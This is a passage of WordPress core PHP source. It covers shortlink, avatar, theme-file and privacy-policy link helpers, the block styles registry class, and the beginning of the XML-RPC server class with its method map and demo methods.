 * @param string $after  Optional HTML to display after the link. Default empty.
 */
function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) {
	$post = get_post();

	if ( empty( $text ) ) {
		$text = __( 'This is the short link.' );
	}

	if ( empty( $title ) ) {
		$title = the_title_attribute( array( 'echo' => false ) );
	}

	$shortlink = wp_get_shortlink( $post->ID );

	if ( ! empty( $shortlink ) ) {
		$link = '<a rel="shortlink" href="' . esc_url( $shortlink ) . '" title="' . $title . '">' . $text . '</a>';

		/**
		 * Filters the short link anchor tag for a post.
		 *
		 * @since 3.0.0
		 *
		 * @param string $link      Shortlink anchor tag.
		 * @param string $shortlink Shortlink URL.
		 * @param string $text      Shortlink's text.
		 * @param string $title     Shortlink's title attribute.
		 */
		$link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title );
		echo $before, $link, $after;
	}
}

/**
 * Retrieves the avatar URL.
 *
 * @since 4.2.0
 *
 * @param mixed $id_or_email The avatar to retrieve a URL for. Accepts a user ID, Gravatar MD5 hash,
 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
 * @param array $args {
 *     Optional. Arguments to use instead of the default arguments.
 *
 *     @type int    $size           Height and width of the avatar in pixels. Default 96.
 *     @type string $default        URL for the default image or a default type. Accepts:
 *                                  - '404' (return a 404 instead of a default image)
 *                                  - 'retro' (a 8-bit arcade-style pixelated face)
 *                                  - 'robohash' (a robot)
 *                                  - 'monsterid' (a monster)
 *                                  - 'wavatar' (a cartoon face)
 *                                  - 'identicon' (the "quilt", a geometric pattern)
 *                                  - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
 *                                  - 'blank' (transparent GIF)
 *                                  - 'gravatar_default' (the Gravatar logo)
 *                                  Default is the value of the 'avatar_default' option,
 *                                  with a fallback of 'mystery'.
 *     @type bool   $force_default  Whether to always show the default image, never the Gravatar.
 *                                  Default false.
 *     @type string $rating         What rating to display avatars up to. Accepts:
 *                                  - 'G' (suitable for all audiences)
 *                                  - 'PG' (possibly offensive, usually for audiences 13 and above)
 *                                  - 'R' (intended for adult audiences above 17)
 *                                  - 'X' (even more mature than above)
 *                                  Default is the value of the 'avatar_rating' option.
 *     @type string $scheme         URL scheme to use. See set_url_scheme() for accepted values.
 *                                  Default null.
 *     @type array  $processed_args When the function returns, the value will be the processed/sanitized $args
 *                                  plus a "found_avatar" guess. Pass as a reference. Default null.
 * }
 * @return string|false The URL of the avatar on success, false on failure.
 */
function get_avatar_url( $id_or_email, $args = null ) {
	$args = get_avatar_data( $id_or_email, $args );
	return $args['url'];
}

/**
 * Check if this comment type allows avatars to be retrieved.
 *
 * @since 5.1.0
 *
 * @param string $comment_type Comment type to check.
 * @return bool Whether the comment type is allowed for retrieving avatars.
 */
function is_avatar_comment_type( $comment_type ) {
	/**
	 * Filters the list of allowed comment types for retrieving avatars.
	 *
	 * @since 3.0.0
	 *
	 * @param array $types An array of content types. Default only contains 'comment'.
	 */
	$allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) );

	return in_array( $comment_type, (array) $allowed_comment_types, true );
}

/**
 * Retrieves default data about the avatar.
 *
 * @since 4.2.0
 *
 * @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
 * @param array $args {
 *     Optional. Arguments to use instead of the default arguments.
 *
 *     @type int    $size           Height and width of the avatar in pixels. Default 96.
 *     @type int    $height         Display height of the avatar in pixels. Defaults to $size.
 *     @type int    $width          Display width of the avatar in pixels. Defaults to $size.
 *     @type string $default        URL for the default image or a default type. Accepts:
 *                                  - '404' (return a 404 instead of a default image)
 *                                  - 'retro' (a 8-bit arcade-style pixelated face)
 *                                  - 'robohash' (a robot)
 *                                  - 'monsterid' (a monster)
 *                                  - 'wavatar' (a cartoon face)
 *                                  - 'identicon' (the "quilt", a geometric pattern)
 *                                  - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
 *                                  - 'blank' (transparent GIF)
 *                                  - 'gravatar_default' (the Gravatar logo)
 *                                  Default is the value of the 'avatar_default' option,
 *                                  with a fallback of 'mystery'.
 *     @type bool   $force_default  Whether to always show the default image, never the Gravatar.
 *                                  Default false.
 *     @type string $rating         What rating to display avatars up to. Accepts:
 *                                  - 'G' (suitable for all audiences)
 *                                  - 'PG' (possibly offensive, usually for audiences 13 and above)
 *                                  - 'R' (intended for adult audiences above 17)
 *                                  - 'X' (even more mature than above)
 *                                  Default is the value of the 'avatar_rating' option.
 *     @type string $scheme         URL scheme to use. See set_url_scheme() for accepted values.
 *                                  Default null.
 *     @type array  $processed_args When the function returns, the value will be the processed/sanitized $args
 *                                  plus a "found_avatar" guess. Pass as a reference. Default null.
 *     @type string $extra_attr     HTML attributes to insert in the IMG element. Is not sanitized.
 *                                  Default empty.
 * }
 * @return array {
 *     Along with the arguments passed in `$args`, this will contain a couple of extra arguments.
 *
 *     @type bool         $found_avatar True if an avatar was found for this user,
 *                                      false or not set if none was found.
 *     @type string|false $url          The URL of the avatar that was found, or false.
 * }
 */
function get_avatar_data( $id_or_email, $args = null ) {
	$args = wp_parse_args(
		$args,
		array(
			'size'           => 96,
			'height'         => null,
			'width'          => null,
			'default'        => get_option( 'avatar_default', 'mystery' ),
			'force_default'  => false,
			'rating'         => get_option( 'avatar_rating' ),
			'scheme'         => null,
			'processed_args' => null, // If used, should be a reference.
			'extra_attr'     => '',
		)
	);

	if ( is_numeric( $args['size'] ) ) {
		$args['size'] = absint( $args['size'] );
		if ( ! $args['size'] ) {
			$args['size'] = 96;
		}
	} else {
		$args['size'] = 96;
	}

	if ( is_numeric( $args['height'] ) ) {
		$args['height'] = absint( $args['height'] );
		if ( ! $args['height'] ) {
			$args['height'] = $args['size'];
		}
	} else {
		$args['height'] = $args['size'];
	}

	if ( is_numeric( $args['width'] ) ) {
		$args['width'] = absint( $args['width'] );
		if ( ! $args['width'] ) {
			$args['width'] = $args['size'];
		}
	} else {
		$args['width'] = $args['size'];
	}

	if ( empty( $args['default'] ) ) {
		$args['default'] = get_option( 'avatar_default', 'mystery' );
	}

	switch ( $args['default'] ) {
		case 'mm':
		case 'mystery':
		case 'mysteryman':
			$args['default'] = 'mm';
			break;
		case 'gravatar_default':
			$args['default'] = false;
			break;
	}

	$args['force_default'] = (bool) $args['force_default'];

	$args['rating'] = strtolower( $args['rating'] );

	$args['found_avatar'] = false;

	/**
	 * Filters whether to retrieve the avatar URL early.
	 *
	 * Passing a non-null value in the 'url' member of the return array will
	 * effectively short circuit get_avatar_data(), passing the value through
	 * the {@see 'get_avatar_data'} filter and returning early.
	 *
	 * @since 4.2.0
	 *
	 * @param array $args        Arguments passed to get_avatar_data(), after processing.
	 * @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 */
	$args = apply_filters( 'pre_get_avatar_data', $args, $id_or_email );

	if ( isset( $args['url'] ) ) {
		/** This filter is documented in wp-includes/link-template.php */
		return apply_filters( 'get_avatar_data', $args, $id_or_email );
	}

	$email_hash = '';
	$user       = false;
	$email      = false;

	if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) {
		$id_or_email = get_comment( $id_or_email );
	}

	// Process the user identifier.
	if ( is_numeric( $id_or_email ) ) {
		$user = get_user_by( 'id', absint( $id_or_email ) );
	} elseif ( is_string( $id_or_email ) ) {
		if ( str_contains( $id_or_email, '@md5.gravatar.com' ) ) {
			// MD5 hash.
			list( $email_hash ) = explode( '@', $id_or_email );
		} else {
			// Email address.
			$email = $id_or_email;
		}
	} elseif ( $id_or_email instanceof WP_User ) {
		// User object.
		$user = $id_or_email;
	} elseif ( $id_or_email instanceof WP_Post ) {
		// Post object.
		$user = get_user_by( 'id', (int) $id_or_email->post_author );
	} elseif ( $id_or_email instanceof WP_Comment ) {
		if ( ! is_avatar_comment_type( get_comment_type( $id_or_email ) ) ) {
			$args['url'] = false;
			/** This filter is documented in wp-includes/link-template.php */
			return apply_filters( 'get_avatar_data', $args, $id_or_email );
		}

		if ( ! empty( $id_or_email->user_id ) ) {
			$user = get_user_by( 'id', (int) $id_or_email->user_id );
		}
		if ( ( ! $user || is_wp_error( $user ) ) && ! empty( $id_or_email->comment_author_email ) ) {
			$email = $id_or_email->comment_author_email;
		}
	}

	if ( ! $email_hash ) {
		if ( $user ) {
			$email = $user->user_email;
		}

		if ( $email ) {
			$email_hash = md5( strtolower( trim( $email ) ) );
		}
	}

	if ( $email_hash ) {
		$args['found_avatar'] = true;
		$gravatar_server      = hexdec( $email_hash[0] ) % 3;
	} else {
		$gravatar_server = rand( 0, 2 );
	}

	$url_args = array(
		's' => $args['size'],
		'd' => $args['default'],
		'f' => $args['force_default'] ? 'y' : false,
		'r' => $args['rating'],
	);

	if ( is_ssl() ) {
		$url = 'https://secure.gravatar.com/avatar/' . $email_hash;
	} else {
		$url = sprintf( 'http://%d.gravatar.com/avatar/%s', $gravatar_server, $email_hash );
	}

	$url = add_query_arg(
		rawurlencode_deep( array_filter( $url_args ) ),
		set_url_scheme( $url, $args['scheme'] )
	);

	/**
	 * Filters the avatar URL.
	 *
	 * @since 4.2.0
	 *
	 * @param string $url         The URL of the avatar.
	 * @param mixed  $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                            user email, WP_User object, WP_Post object, or WP_Comment object.
	 * @param array  $args        Arguments passed to get_avatar_data(), after processing.
	 */
	$args['url'] = apply_filters( 'get_avatar_url', $url, $id_or_email, $args );

	/**
	 * Filters the avatar data.
	 *
	 * @since 4.2.0
	 *
	 * @param array $args        Arguments passed to get_avatar_data(), after processing.
	 * @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 */
	return apply_filters( 'get_avatar_data', $args, $id_or_email );
}

/**
 * Retrieves the URL of a file in the theme.
 *
 * Searches in the stylesheet directory before the template directory so themes
 * which inherit from a parent theme can just override one file.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to search for in the stylesheet directory.
 * @return string The URL of the file.
 */
function get_theme_file_uri( $file = '' ) {
	$file = ltrim( $file, '/' );

	$stylesheet_directory = get_stylesheet_directory();

	if ( empty( $file ) ) {
		$url = get_stylesheet_directory_uri();
	} elseif ( get_template_directory() !== $stylesheet_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
		$url = get_stylesheet_directory_uri() . '/' . $file;
	} else {
		$url = get_template_directory_uri() . '/' . $file;
	}

	/**
	 * Filters the URL to a file in the theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $url  The file URL.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'theme_file_uri', $url, $file );
}

/**
 * Retrieves the URL of a file in the parent theme.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to return the URL for in the template directory.
 * @return string The URL of the file.
 */
function get_parent_theme_file_uri( $file = '' ) {
	$file = ltrim( $file, '/' );

	if ( empty( $file ) ) {
		$url = get_template_directory_uri();
	} else {
		$url = get_template_directory_uri() . '/' . $file;
	}

	/**
	 * Filters the URL to a file in the parent theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $url  The file URL.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'parent_theme_file_uri', $url, $file );
}

/**
 * Retrieves the path of a file in the theme.
 *
 * Searches in the stylesheet directory before the template directory so themes
 * which inherit from a parent theme can just override one file.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to search for in the stylesheet directory.
 * @return string The path of the file.
 */
function get_theme_file_path( $file = '' ) {
	$file = ltrim( $file, '/' );

	$stylesheet_directory = get_stylesheet_directory();
	$template_directory   = get_template_directory();

	if ( empty( $file ) ) {
		$path = $stylesheet_directory;
	} elseif ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
		$path = $stylesheet_directory . '/' . $file;
	} else {
		$path = $template_directory . '/' . $file;
	}

	/**
	 * Filters the path to a file in the theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $path The file path.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'theme_file_path', $path, $file );
}

/**
 * Retrieves the path of a file in the parent theme.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to return the path for in the template directory.
 * @return string The path of the file.
 */
function get_parent_theme_file_path( $file = '' ) {
	$file = ltrim( $file, '/' );

	if ( empty( $file ) ) {
		$path = get_template_directory();
	} else {
		$path = get_template_directory() . '/' . $file;
	}

	/**
	 * Filters the path to a file in the parent theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $path The file path.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'parent_theme_file_path', $path, $file );
}

/**
 * Retrieves the URL to the privacy policy page.
 *
 * @since 4.9.6
 *
 * @return string The URL to the privacy policy page. Empty string if it doesn't exist.
 */
function get_privacy_policy_url() {
	$url            = '';
	$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

	if ( ! empty( $policy_page_id ) && get_post_status( $policy_page_id ) === 'publish' ) {
		$url = (string) get_permalink( $policy_page_id );
	}

	/**
	 * Filters the URL of the privacy policy page.
	 *
	 * @since 4.9.6
	 *
	 * @param string $url            The URL to the privacy policy page. Empty string
	 *                               if it doesn't exist.
	 * @param int    $policy_page_id The ID of privacy policy page.
	 */
	return apply_filters( 'privacy_policy_url', $url, $policy_page_id );
}

/**
 * Displays the privacy policy link with formatting, when applicable.
 *
 * @since 4.9.6
 *
 * @param string $before Optional. Display before privacy policy link. Default empty.
 * @param string $after  Optional. Display after privacy policy link. Default empty.
 */
function the_privacy_policy_link( $before = '', $after = '' ) {
	echo get_the_privacy_policy_link( $before, $after );
}

/**
 * Returns the privacy policy link with formatting, when applicable.
 *
 * @since 4.9.6
 * @since 6.2.0 Added 'privacy-policy' rel attribute.
 *
 * @param string $before Optional. Display before privacy policy link. Default empty.
 * @param string $after  Optional. Display after privacy policy link. Default empty.
 * @return string Markup for the link and surrounding elements. Empty string if it
 *                doesn't exist.
 */
function get_the_privacy_policy_link( $before = '', $after = '' ) {
	$link               = '';
	$privacy_policy_url = get_privacy_policy_url();
	$policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );
	$page_title         = ( $policy_page_id ) ? get_the_title( $policy_page_id ) : '';

	if ( $privacy_policy_url && $page_title ) {
		$link = sprintf(
			'<a class="privacy-policy-link" href="%s" rel="privacy-policy">%s</a>',
			esc_url( $privacy_policy_url ),
			esc_html( $page_title )
		);
	}

	/**
	 * Filters the privacy policy link.
	 *
	 * @since 4.9.6
	 *
	 * @param string $link               The privacy policy link. Empty string if it
	 *                                   doesn't exist.
	 * @param string $privacy_policy_url The URL of the privacy policy. Empty string
	 *                                   if it doesn't exist.
	 */
	$link = apply_filters( 'the_privacy_policy_link', $link, $privacy_policy_url );

	if ( $link ) {
		return $before . $link . $after;
	}

	return '';
}

/**
 * Returns an array of URL hosts which are considered to be internal hosts.
 *
 * By default the list of internal hosts is comprised of the host name of
 * the site's home_url() (as parsed by wp_parse_url()).
 *
 * This list is used when determining if a specified URL is a link to a page on
 * the site itself or a link offsite (to an external host). This is used, for
 * example, when determining if the "nofollow" attribute should be applied to a
 * link.
 *
 * @see wp_is_internal_link
 *
 * @since 6.2.0
 *
 * @return string[] An array of URL hosts.
 */
function wp_internal_hosts() {
	static $internal_hosts;

	if ( empty( $internal_hosts ) ) {
		/**
		 * Filters the array of URL hosts which are considered internal.
		 *
		 * @since 6.2.0
		 *
		 * @param string[] $internal_hosts An array of internal URL hostnames.
		 */
		$internal_hosts = apply_filters(
			'wp_internal_hosts',
			array(
				wp_parse_url( home_url(), PHP_URL_HOST ),
			)
		);
		$internal_hosts = array_unique(
			array_map( 'strtolower', (array) $internal_hosts )
		);
	}

	return $internal_hosts;
}

/**
 * Determines whether or not the specified URL is of a host included in the internal hosts list.
 *
 * @see wp_internal_hosts()
 *
 * @since 6.2.0
 *
 * @param string $link The URL to test.
 * @return bool Returns true for internal URLs and false for all other URLs.
 */
function wp_is_internal_link( $link ) {
	$link = strtolower( $link );
	if ( in_array( wp_parse_url( $link, PHP_URL_SCHEME ), wp_allowed_protocols(), true ) ) {
		return in_array( wp_parse_url( $link, PHP_URL_HOST ), wp_internal_hosts(), true );
	}
	return false;
}
<?php
/**
 * Blocks API: WP_Block_Styles_Registry class
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.3.0
 */

/**
 * Class used for interacting with block styles.
 *
 * @since 5.3.0
 */
#[AllowDynamicProperties]
final class WP_Block_Styles_Registry {
	/**
	 * Registered block styles, as `$block_name => $block_style_name => $block_style_properties` multidimensional arrays.
	 *
	 * @since 5.3.0
	 *
	 * @var array[]
	 */
	private $registered_block_styles = array();

	/**
	 * Container for the main instance of the class.
	 *
	 * @since 5.3.0
	 *
	 * @var WP_Block_Styles_Registry|null
	 */
	private static $instance = null;

	/**
	 * Registers a block style for the given block type.
	 *
	 * If the block styles are present in a standalone stylesheet, register it and pass
	 * its handle as the `style_handle` argument. If the block styles should be inline,
	 * use the `inline_style` argument. Usually, one of them would be used to pass CSS
	 * styles. However, you could also skip them and provide CSS styles in any stylesheet
	 * or with an inline tag.
	 *
	 * @since 5.3.0
	 *
	 * @link https://developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/
	 *
	 * @param string $block_name       Block type name including namespace.
	 * @param array  $style_properties {
	 *     Array containing the properties of the style.
	 *
	 *     @type string $name         The identifier of the style used to compute a CSS class.
	 *     @type string $label        A human-readable label for the style.
	 *     @type string $inline_style Inline CSS code that registers the CSS class required
	 *                                for the style.
	 *     @type string $style_handle The handle to an already registered style that should be
	 *                                enqueued in places where block styles are needed.
	 *     @type bool   $is_default   Whether this is the default style for the block type.
	 * }
	 * @return bool True if the block style was registered with success and false otherwise.
	 */
	public function register( $block_name, $style_properties ) {

		if ( ! isset( $block_name ) || ! is_string( $block_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block name must be a string.' ),
				'5.3.0'
			);
			return false;
		}

		if ( ! isset( $style_properties['name'] ) || ! is_string( $style_properties['name'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block style name must be a string.' ),
				'5.3.0'
			);
			return false;
		}

		if ( str_contains( $style_properties['name'], ' ' ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block style name must not contain any spaces.' ),
				'5.9.0'
			);
			return false;
		}

		$block_style_name = $style_properties['name'];

		if ( ! isset( $this->registered_block_styles[ $block_name ] ) ) {
			$this->registered_block_styles[ $block_name ] = array();
		}
		$this->registered_block_styles[ $block_name ][ $block_style_name ] = $style_properties;

		return true;
	}

	/**
	 * Unregisters a block style of the given block type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $block_name       Block type name including namespace.
	 * @param string $block_style_name Block style name.
	 * @return bool True if the block style was unregistered with success and false otherwise.
	 */
	public function unregister( $block_name, $block_style_name ) {
		if ( ! $this->is_registered( $block_name, $block_style_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: 1: Block name, 2: Block style name. */
				sprintf( __( 'Block "%1$s" does not contain a style named "%2$s".' ), $block_name, $block_style_name ),
				'5.3.0'
			);
			return false;
		}

		unset( $this->registered_block_styles[ $block_name ][ $block_style_name ] );

		return true;
	}

	/**
	 * Retrieves the properties of a registered block style for the given block type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $block_name       Block type name including namespace.
	 * @param string $block_style_name Block style name.
	 * @return array Registered block style properties.
	 */
	public function get_registered( $block_name, $block_style_name ) {
		if ( ! $this->is_registered( $block_name, $block_style_name ) ) {
			return null;
		}

		return $this->registered_block_styles[ $block_name ][ $block_style_name ];
	}

	/**
	 * Retrieves all registered block styles.
	 *
	 * @since 5.3.0
	 *
	 * @return array[] Array of arrays containing the registered block styles properties grouped by block type.
	 */
	public function get_all_registered() {
		return $this->registered_block_styles;
	}

	/**
	 * Retrieves registered block styles for a specific block type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $block_name Block type name including namespace.
	 * @return array[] Array whose keys are block style names and whose values are block style properties.
	 */
	public function get_registered_styles_for_block( $block_name ) {
		if ( isset( $this->registered_block_styles[ $block_name ] ) ) {
			return $this->registered_block_styles[ $block_name ];
		}
		return array();
	}

	/**
	 * Checks if a block style is registered for the given block type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $block_name       Block type name including namespace.
	 * @param string $block_style_name Block style name.
	 * @return bool True if the block style is registered, false otherwise.
	 */
	public function is_registered( $block_name, $block_style_name ) {
		return isset( $this->registered_block_styles[ $block_name ][ $block_style_name ] );
	}

	/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 5.3.0
	 *
	 * @return WP_Block_Styles_Registry The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
<?php
/**
 * XML-RPC protocol support for WordPress.
 *
 * @package WordPress
 * @subpackage Publishing
 */

/**
 * WordPress XMLRPC server implementation.
 *
 * Implements compatibility for Blogger API, MetaWeblog API, MovableType, and
 * pingback. Additional WordPress API for managing comments, pages, posts,
 * options, etc.
 *
 * As of WordPress 3.5.0, XML-RPC is enabled by default. It can be disabled
 * via the {@see 'xmlrpc_enabled'} filter found in wp_xmlrpc_server::set_is_enabled().
 *
 * @since 1.5.0
 *
 * @see IXR_Server
 */
#[AllowDynamicProperties]
class wp_xmlrpc_server extends IXR_Server {
	/**
	 * Methods.
	 *
	 * @var array
	 */
	public $methods;

	/**
	 * Blog options.
	 *
	 * @var array
	 */
	public $blog_options;

	/**
	 * IXR_Error instance.
	 *
	 * @var IXR_Error
	 */
	public $error;

	/**
	 * Flags that the user authentication has failed in this instance of wp_xmlrpc_server.
	 *
	 * @var bool
	 */
	protected $auth_failed = false;

	/**
	 * Flags that XML-RPC is enabled
	 *
	 * @var bool
	 */
	private $is_enabled;

	/**
	 * Registers all of the XMLRPC methods that XMLRPC server understands.
	 *
	 * Sets up server and method property. Passes XMLRPC methods through the
	 * {@see 'xmlrpc_methods'} filter to allow plugins to extend or replace
	 * XML-RPC methods.
	 *
	 * @since 1.5.0
	 */
	public function __construct() {
		$this->methods = array(
			// WordPress API.
			'wp.getUsersBlogs'                 => 'this:wp_getUsersBlogs',
			'wp.newPost'                       => 'this:wp_newPost',
			'wp.editPost'                      => 'this:wp_editPost',
			'wp.deletePost'                    => 'this:wp_deletePost',
			'wp.getPost'                       => 'this:wp_getPost',
			'wp.getPosts'                      => 'this:wp_getPosts',
			'wp.newTerm'                       => 'this:wp_newTerm',
			'wp.editTerm'                      => 'this:wp_editTerm',
			'wp.deleteTerm'                    => 'this:wp_deleteTerm',
			'wp.getTerm'                       => 'this:wp_getTerm',
			'wp.getTerms'                      => 'this:wp_getTerms',
			'wp.getTaxonomy'                   => 'this:wp_getTaxonomy',
			'wp.getTaxonomies'                 => 'this:wp_getTaxonomies',
			'wp.getUser'                       => 'this:wp_getUser',
			'wp.getUsers'                      => 'this:wp_getUsers',
			'wp.getProfile'                    => 'this:wp_getProfile',
			'wp.editProfile'                   => 'this:wp_editProfile',
			'wp.getPage'                       => 'this:wp_getPage',
			'wp.getPages'                      => 'this:wp_getPages',
			'wp.newPage'                       => 'this:wp_newPage',
			'wp.deletePage'                    => 'this:wp_deletePage',
			'wp.editPage'                      => 'this:wp_editPage',
			'wp.getPageList'                   => 'this:wp_getPageList',
			'wp.getAuthors'                    => 'this:wp_getAuthors',
			'wp.getCategories'                 => 'this:mw_getCategories',     // Alias.
			'wp.getTags'                       => 'this:wp_getTags',
			'wp.newCategory'                   => 'this:wp_newCategory',
			'wp.deleteCategory'                => 'this:wp_deleteCategory',
			'wp.suggestCategories'             => 'this:wp_suggestCategories',
			'wp.uploadFile'                    => 'this:mw_newMediaObject',    // Alias.
			'wp.deleteFile'                    => 'this:wp_deletePost',        // Alias.
			'wp.getCommentCount'               => 'this:wp_getCommentCount',
			'wp.getPostStatusList'             => 'this:wp_getPostStatusList',
			'wp.getPageStatusList'             => 'this:wp_getPageStatusList',
			'wp.getPageTemplates'              => 'this:wp_getPageTemplates',
			'wp.getOptions'                    => 'this:wp_getOptions',
			'wp.setOptions'                    => 'this:wp_setOptions',
			'wp.getComment'                    => 'this:wp_getComment',
			'wp.getComments'                   => 'this:wp_getComments',
			'wp.deleteComment'                 => 'this:wp_deleteComment',
			'wp.editComment'                   => 'this:wp_editComment',
			'wp.newComment'                    => 'this:wp_newComment',
			'wp.getCommentStatusList'          => 'this:wp_getCommentStatusList',
			'wp.getMediaItem'                  => 'this:wp_getMediaItem',
			'wp.getMediaLibrary'               => 'this:wp_getMediaLibrary',
			'wp.getPostFormats'                => 'this:wp_getPostFormats',
			'wp.getPostType'                   => 'this:wp_getPostType',
			'wp.getPostTypes'                  => 'this:wp_getPostTypes',
			'wp.getRevisions'                  => 'this:wp_getRevisions',
			'wp.restoreRevision'               => 'this:wp_restoreRevision',

			// Blogger API.
			'blogger.getUsersBlogs'            => 'this:blogger_getUsersBlogs',
			'blogger.getUserInfo'              => 'this:blogger_getUserInfo',
			'blogger.getPost'                  => 'this:blogger_getPost',
			'blogger.getRecentPosts'           => 'this:blogger_getRecentPosts',
			'blogger.newPost'                  => 'this:blogger_newPost',
			'blogger.editPost'                 => 'this:blogger_editPost',
			'blogger.deletePost'               => 'this:blogger_deletePost',

			// MetaWeblog API (with MT extensions to structs).
			'metaWeblog.newPost'               => 'this:mw_newPost',
			'metaWeblog.editPost'              => 'this:mw_editPost',
			'metaWeblog.getPost'               => 'this:mw_getPost',
			'metaWeblog.getRecentPosts'        => 'this:mw_getRecentPosts',
			'metaWeblog.getCategories'         => 'this:mw_getCategories',
			'metaWeblog.newMediaObject'        => 'this:mw_newMediaObject',

			/*
			 * MetaWeblog API aliases for Blogger API.
			 * See http://www.xmlrpc.com/stories/storyReader$2460
			 */
			'metaWeblog.deletePost'            => 'this:blogger_deletePost',
			'metaWeblog.getUsersBlogs'         => 'this:blogger_getUsersBlogs',

			// MovableType API.
			'mt.getCategoryList'               => 'this:mt_getCategoryList',
			'mt.getRecentPostTitles'           => 'this:mt_getRecentPostTitles',
			'mt.getPostCategories'             => 'this:mt_getPostCategories',
			'mt.setPostCategories'             => 'this:mt_setPostCategories',
			'mt.supportedMethods'              => 'this:mt_supportedMethods',
			'mt.supportedTextFilters'          => 'this:mt_supportedTextFilters',
			'mt.getTrackbackPings'             => 'this:mt_getTrackbackPings',
			'mt.publishPost'                   => 'this:mt_publishPost',

			// Pingback.
			'pingback.ping'                    => 'this:pingback_ping',
			'pingback.extensions.getPingbacks' => 'this:pingback_extensions_getPingbacks',

			'demo.sayHello'                    => 'this:sayHello',
			'demo.addTwoNumbers'               => 'this:addTwoNumbers',
		);

		$this->initialise_blog_option_info();

		/**
		 * Filters the methods exposed by the XML-RPC server.
		 *
		 * This filter can be used to add new methods, and remove built-in methods.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $methods An array of XML-RPC methods, keyed by their methodName.
		 */
		$this->methods = apply_filters( 'xmlrpc_methods', $this->methods );

		$this->set_is_enabled();
	}

	/**
	 * Sets wp_xmlrpc_server::$is_enabled property.
	 *
	 * Determines whether the xmlrpc server is enabled on this WordPress install
	 * and set the is_enabled property accordingly.
	 *
	 * @since 5.7.3
	 */
	private function set_is_enabled() {
		/*
		 * Respect old get_option() filters left for back-compat when the 'enable_xmlrpc'
		 * option was deprecated in 3.5.0. Use the {@see 'xmlrpc_enabled'} hook instead.
		 */
		$is_enabled = apply_filters( 'pre_option_enable_xmlrpc', false );
		if ( false === $is_enabled ) {
			$is_enabled = apply_filters( 'option_enable_xmlrpc', true );
		}

		/**
		 * Filters whether XML-RPC methods requiring authentication are enabled.
		 *
		 * Contrary to the way it's named, this filter does not control whether XML-RPC is *fully*
		 * enabled, rather, it only controls whether XML-RPC methods requiring authentication -
		 * such as for publishing purposes - are enabled.
		 *
		 * Further, the filter does not control whether pingbacks or other custom endpoints that don't
		 * require authentication are enabled. This behavior is expected, and due to how parity was matched
		 * with the `enable_xmlrpc` UI option the filter replaced when it was introduced in 3.5.
		 *
		 * To disable XML-RPC methods that require authentication, use:
		 *
		 *     add_filter( 'xmlrpc_enabled', '__return_false' );
		 *
		 * For more granular control over all XML-RPC methods and requests, see the {@see 'xmlrpc_methods'}
		 * and {@see 'xmlrpc_element_limit'} hooks.
		 *
		 * @since 3.5.0
		 *
		 * @param bool $is_enabled Whether XML-RPC is enabled. Default true.
		 */
		$this->is_enabled = apply_filters( 'xmlrpc_enabled', $is_enabled );
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return array|IXR_Error|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( '_multisite_getUsersBlogs' === $name ) {
			return $this->_multisite_getUsersBlogs( ...$arguments );
		}
		return false;
	}

	/**
	 * Serves the XML-RPC request.
	 *
	 * @since 2.9.0
	 */
	public function serve_request() {
		$this->IXR_Server( $this->methods );
	}

	/**
	 * Tests XMLRPC API by saying, "Hello!" to client.
	 *
	 * @since 1.5.0
	 *
	 * @return string Hello string response.
	 */
	public function sayHello() {
		return 'Hello!';
	}

	/**
	 * Tests XMLRPC API by adding two numbers for client.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int $0 A number to add.
	 *     @type int $1 A second number to add.
	 * }
	 * @return int Sum of the two given numbers.
	 */
	public function addTwoNumbers( $args ) {
		$number1 = $args[0];
		$number2 = $args[1];
		return $number1 + $number2;
	}

	/**
